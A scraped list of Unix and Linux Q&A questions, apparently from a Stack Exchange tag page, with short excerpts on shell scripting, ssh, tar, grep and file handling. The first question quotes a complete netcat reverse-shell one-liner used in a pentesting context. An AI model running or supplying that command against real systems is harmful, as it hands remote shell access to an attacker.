All Questions
616
questions
0
votes
0
answers
34
views
Trying to understand telnet behavior and pentesting reverse shell in Unix
The first not working for me and the second working on telnet session, Unix:
What is the difference between:
.RUN rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc ip 4444 >/tmp/f
And ...
1
vote
0
answers
66
views
How to let root use sudoedit as if it was a user?
I'm writing a wrapper for myself around vim that detects when the user's trying to edit a file that doesn't belong to them, and suggests sudoedit or visudo instead. I want to use sudoedit rather than ...
- 11
1
vote
0
answers
56
views
How to detox filenames in a bash script with no errors posted?
OS: Kubuntu 22.04.4 LTS x86_64
detox 1.4.5
To display above:
neofetch --stdout |grep 'OS:'
detox -V
Here is a toxic filename, starts with s1:
s1 Ä Ö Ü - ä ö ü Science & < > " 1 \ 2 ⁄ 3 ...
- 367
0
votes
1
answer
236
views
Broken pipe, write error: An epidemic of unnecessary output
In the last few months, a problem has been spreading across my systems. That of broken pipe errors:
# Solution:
# silenced by replacing /bin/bzip2 -> bzip2-reference
# to /bin/...
- 1
2
votes
1
answer
51
views
How can I use the last changed file as an argument in linux?
I'm thinking of using the last changed file as an argument to commands like ls, echo, or cat, is there a simple and efficient way? this question arose when I was faced with analyzing the latest log ...
- 21
1
vote
1
answer
327
views
Shell command to tar directory excluding certain folders
In Bash 4, I want make a tar.gz with excluded folders, and while tons of answers about this simple case exist, nothing works in my case.
I would like to keep the directory mentioned in exclude, ...
- 13
0
votes
2
answers
423
views
awk string replacement - properly escape '&' character
I am working on one of our applications to update the docker image from using static configs for each environment to a single template using dynamic variable insertion with awk. Our Dockerfile calls a ...
0
votes
1
answer
860
views
tail -f nohup.out gives cannot open 'nohup.out' for reading: No such file or directory
I connected to a remote server using ssh protocol and launched this command in order to run my python script remotely:
nohup python3.8 -u sab.py > log_15_09_2023.txt &
This works fine since if ...
- 111
1
vote
1
answer
1k
views
How do I create a shell script that will exit the ssh session after executing the remote commands
I'm trying to write a bash script to compile and deploy some code to a remote server. So far I have been struggling to figure out how to get the script to exit the ssh session. I thought I could just ...
- 113
0
votes
1
answer
341
views
Why UNIX socket files end with and equal sign in ls?
When I list (ls) files in directory, I see the equal sign = after some files. All these files in my case are UNIX domain socket files:
user@Debian11:~/src/unix_sock$ l
a.out* cli_stream* ...
- 195
1
vote
1
answer
2k
views
Find command in IBM AIX
I would verify that files in the location listed may not have both the other-write and any execute permissions set.
This requirement to be applied recursively to files contained within subdirectories.
...
- 113
1
vote
1
answer
983
views
Unix/Linux "shutdown": How to prevent wall message and terminal blocking?
I'm making a script that adds a layer of functionality on top of the shutdown command. It's intended to schedule a shutdown a while into the future, and sends out it's own wall message.
How do I ...
Steam Ranger
5
votes
1
answer
481
views
Unix script with a trap inside ssh
My plan is to write a script to debug a remote web server.
Since the debug port is blocked by the firewall, I need to forward the remote port via ssh to my local machine. This part is working fine.
...
0
votes
0
answers
109
views
Batch file using WinSCP won't execute UNIX shell script that assigns variables to output of "more" command
I am working with a Batch script that uses WinSCP to transfer files from an UNIX machine to a windows machine.
To achieve this, WinSCP has to call shell scripts on the UNIX side.
There is one shell ...
- 1
0
votes
1
answer
294
views
Need to iterate Backwards in a linux/unix path
I have a script that would have multiple paths (folder names).
Each folder path would have a Dockerfile, but its uncertain at what level that file would exist.
Lets say my path is "v1/airflow/1....
- 101
0
votes
1
answer
131
views
Output to stdout and external txt file
I am trying to redirect the stdout of a particular output to a txt file, however I would still like to view it in the console log
tail -f /var/log/kern.log | ./prsfwlog -f elfs/prs_log.elf | \
grep -E ...
- 1
0
votes
2
answers
1k
views
Setting environment variables using eval - by calling other shell script
I have two shell scripts Caller and getGlobalParameters.
There is a function defined in the getGlobalParameters script which calls a java class and uses the values returned by the java class to set ...
0
votes
0
answers
90
views
MD5 File Concatenation
dears,
can any one help me on
here is an example md5 file which contains several checksums. (between the dashes)
You will see that 6 are for files in on subdir and 2 are for files in the directory:
---...
0
votes
3
answers
8k
views
Unix: How to Exit Out of "/" directory?
I am learning some elements of the Unix environment myself. I have tried to search up this question but perhaps I am not wording it correctly. It is quite possibly a very trivial question, too, but I ...
- 101
0
votes
0
answers
148
views
How to change permissions for a file in Ubuntu?
I run the file ./schema.pg.sh with the command sudo ./schema.pg.sh in /sql directory. But the terminal throws an error:
could not change directory to "/sql": Permission denied
Script I am ...
- 11
0
votes
2
answers
389
views
Accidentally made an alias for a pre-existing command on OS X
I was toying around with aliases and made an alias to take me to the directory where I store all my bash projects via the cd command.
However, I used 'bash' as a name for the alias. Now when I run all ...
0
votes
1
answer
803
views
Inodes in External Disk full. Actually not
Checking inode usage:
[cold] > df -ih .
Filesystem Inodes IUsed IFree IUse% Mounted on
/dev/sdb1 59M 59M 7.9K 100% /home/doom/cold
Here we see 100% Inode usage. 59 million inodes ...
- 1
0
votes
1
answer
459
views
How to do a recursive filename `find` from the shell using a glob pattern with "set braces"
From the shell, I'd like to recursively search a directory for a given glob pattern. But I want to use set-braces-syntax in my pattern:
find ~/path/to/dir -name '*.{h,m}'
Here I'd like to recursively ...
- 450
0
votes
1
answer
1k
views
How to remove everything between quotation marks in Unix
How do I remove everything between and including single quotes in Unix/Linux?
Example:
Input : WHERE EnodeB_Fin Date_Time_Fin >= '2022-03-15 00:00:00'
Output : WHERE EnodeB_Fin Date_Time_Fin &...
- 1
0
votes
1
answer
2k
views
simple bash script for collecting logs
I'm new with BASH scripting and I need a little help if it's possible.
Let's say there's a UNIX server from which I want to gather some simple log events (let's say .txt files). Let's say log events ...
- 1
1
vote
3
answers
342
views
What does the "cyg" prefix mean?
I've seen so many cyg prefixed things like cygstart, cygpath, cygwin etc., but what exactly does this prefix mean?
- 609
4
votes
3
answers
411
views
How can I delete all files that have names not ending on exactly 2 digits?
I am currently trying to delete several files. I want to delete all files with file names that do not end on two digits (and when I say ending on two digits I mean it disregarding the .txt file ...
- 43
0
votes
1
answer
232
views
How to copy hidden file names to a text file in unix?
I have several directories which contain hidden empty files. I need the name of these file names themselves, so I need to write the filenames to a txt file.
My script looks like this:
cd /z/...
- 1
1
vote
1
answer
3k
views
How to disable ssh non-interactive commands from the server side?
Currently I have a server with openssh7.1 installed, which supports non-interactive commands like : ssh user@server ls. Is there a way to disable such type of command on the server side?
- 29
0
votes
0
answers
638
views
How can I add a function inside my .bash_profile?
I need to use a modified grep function to find certain jobs on our cronjob repositories (cvs & git) in a more automated way. So I got these functions already made for that job, but not sure how ...
1
vote
1
answer
1k
views
Keep Color output with grep at systemctl status
I'm trying to get the original color of the output of this command with grep:
sudo systemctl status telegraf | grep -e ● -e Active
Output of command
with this command the output is red, but i want it ...
- 13
0
votes
0
answers
12
views
Why does tailing logs with kubectl prevent pipe from producing output? [duplicate]
I'm trying to process logs while tailing them.
This command works:
kubectl logs "$pod" --tail=100 | egrep pattern | cut -d ' ' -f 1
But this command produces no output:
kubectl logs "$...
- 978
1
vote
1
answer
1k
views
How to find the first and last occurrence of date field in a log file in linux?
log_file:
2021-08-29 23:25:46,398 IST INFO :......mailslot_create: creating socket for querying route
2021-08-29 23:25:46,398 IST INFO :.....mailbox_register: no mailbox necessary for forward
...
- 11
0
votes
0
answers
33
views
Creating large number of simlinks
I have 335 pathes to same files (some with different names)
DarkestDungeon/colours/default_colour_grade.png
DarkestDungeon/dlc/735730_color_of_madness/dungeons/farm/colour_grade.png
DarkestDungeon/...
- 1
3
votes
1
answer
2k
views
tar extracting on root directory is destroying entire system
I'm not sure whats going on... I wasn't aware tar did this. But when I extract a tar on top of the root fs (/) with all the permission stuff turned off... for instance:
root@system:~# tar --no-same-...
0
votes
1
answer
641
views
Using mv/cp to replace a invalid symlink with directory
I have a symlink at /tmp/bot which I want to replace with a directory. But I am getting error
mv: cannot overwrite non-directory '/tmp/bot' with directory 'log'
Steps to reproduce error
# Create a ...
- 101
-2
votes
1
answer
1k
views
How I remove or erase ls -l | head -3 | tail -l to start over. What command I type?
How do I remove or erase
ls -l | head -3 | tail -l
to start over. What command should I use?
Since my ls -l | head -3 | tail - l has double exit1.sh, exit2.sh.it isn’t same picture instruction
0
votes
1
answer
84
views
To deeply learn how my new Macbook works do I need to learn Unix? [closed]
I've been a Windows person since 1988 and I've bought my first Mac. Yeah thanks. I used to be tech support for Microsoft so it's horrible not knowing deeply how my new machine works.
I understand that ...
- 1,641
0
votes
0
answers
164
views
Including chmod in shell script - will it work for everyone?
I have a large wrapper.sh file which does a lot of things, but in the end runs catalina.sh tomcat.
Problem is that users who run this wrapper.sh are experiencing error: no permissions to execute ...
- 101
0
votes
1
answer
2k
views
Is there a way to make Unix diff -r compare only differences in filenames, but not check if any single file actually differs?
I need to compare two large directories with a lot of files in them. I tried using:
diff -r Directory1 Directory2
but unfortunately the process is really slow due to the amount of files and their ...
2
votes
1
answer
271
views
Understanding umask
I have the following task:
What are the rights if you create a file file1 and a directory dir1 and used umask 026 before? Now use umask 233 and perform the following:
cat file1 > file2
mv file1 ...
Haise Sasaki
77
votes
8
answers
240k
views
"PuTTY key format too new" when using ppk file for PuTTY SSH key authentication
I wanted to connect to my Unix server using SSH keys. For that I had converted my id_rsa file from ./ssh directory to a ppk file using PuTTYgen, but after loading my .ppk key I get this warning:
...
0
votes
1
answer
3k
views
Shell Script : Take filename as an argument and on a standard output display the contents of the file with line number prefixed to it
So, I'm new to shell scripting and I'm trying to write a shell script which takes filename(.txt) as an argument and displays the line number prefixed with each line on a standard output.
This is the ...
- 3
1
vote
2
answers
7k
views
How can I execute a command on a remote server through scp?
When using ssh to access raspberry pi running balenaos, ssh -t -p 22222 root@device-ip "balena-engine exec -it <container_name> /bin/sh" grants me access to a specific container inside ...
- 11
0
votes
3
answers
314
views
Is there an elegant way to move all sub-directories in the current directory to a new sub-directory?
I often run into the following situation. I am in a directory with several sub-directories like so
$ls
a b c d
I would like to archive directories a-d by moving them into a new directory at the same ...
- 141
0
votes
3
answers
472
views
In bash, how can I list only files?
I'm looking to list only files and directories and no extra data. It's used for parsing the data and I don't need the extra items of file size, permissions...etc.
TIA
- 1,185
0
votes
1
answer
511
views
How are bash variables containing a file path with non-ascii characters and spaces used as input for commands, cat, exiftool, etc.?
I have set a variable:
myvar='/home/user/shares/D/iPhoto\ Library\ Main.migratedphotolibrary/Data.noindex/2002/102008\ \ name\ lname\ event/PICT0002_2_face0.jpg'
Then tried to cat this variable:
cat ...
- 3
0
votes
0
answers
46
views
I need to do bulk find and replace
I have file1.txt with these lines
abc
def
ghi
file2.txt with these lines
jkl
mno
pqr jkl
jkl
mno mno mno
pqr
I want to write a script that replaces all occurrences of the string jkl in file2....
- 1
1
vote
1
answer
879
views
How to rearrange columns when you don't know their initial positions (UNIX, BASH)
I'm having an issue to rearrange columns of a csv file (separator ";").
I know where the columns should be, but not where they are in the first place.
Example of file:
first_name ; age ; ...
0
votes
1
answer
198
views
Create new screen with correct environment and at pwd
It's been brought to my attention from my users that the screen command can be made a little easier to use. Initially, calling screen creates a fresh bash environment at the pwd of wherever the user ...
- 111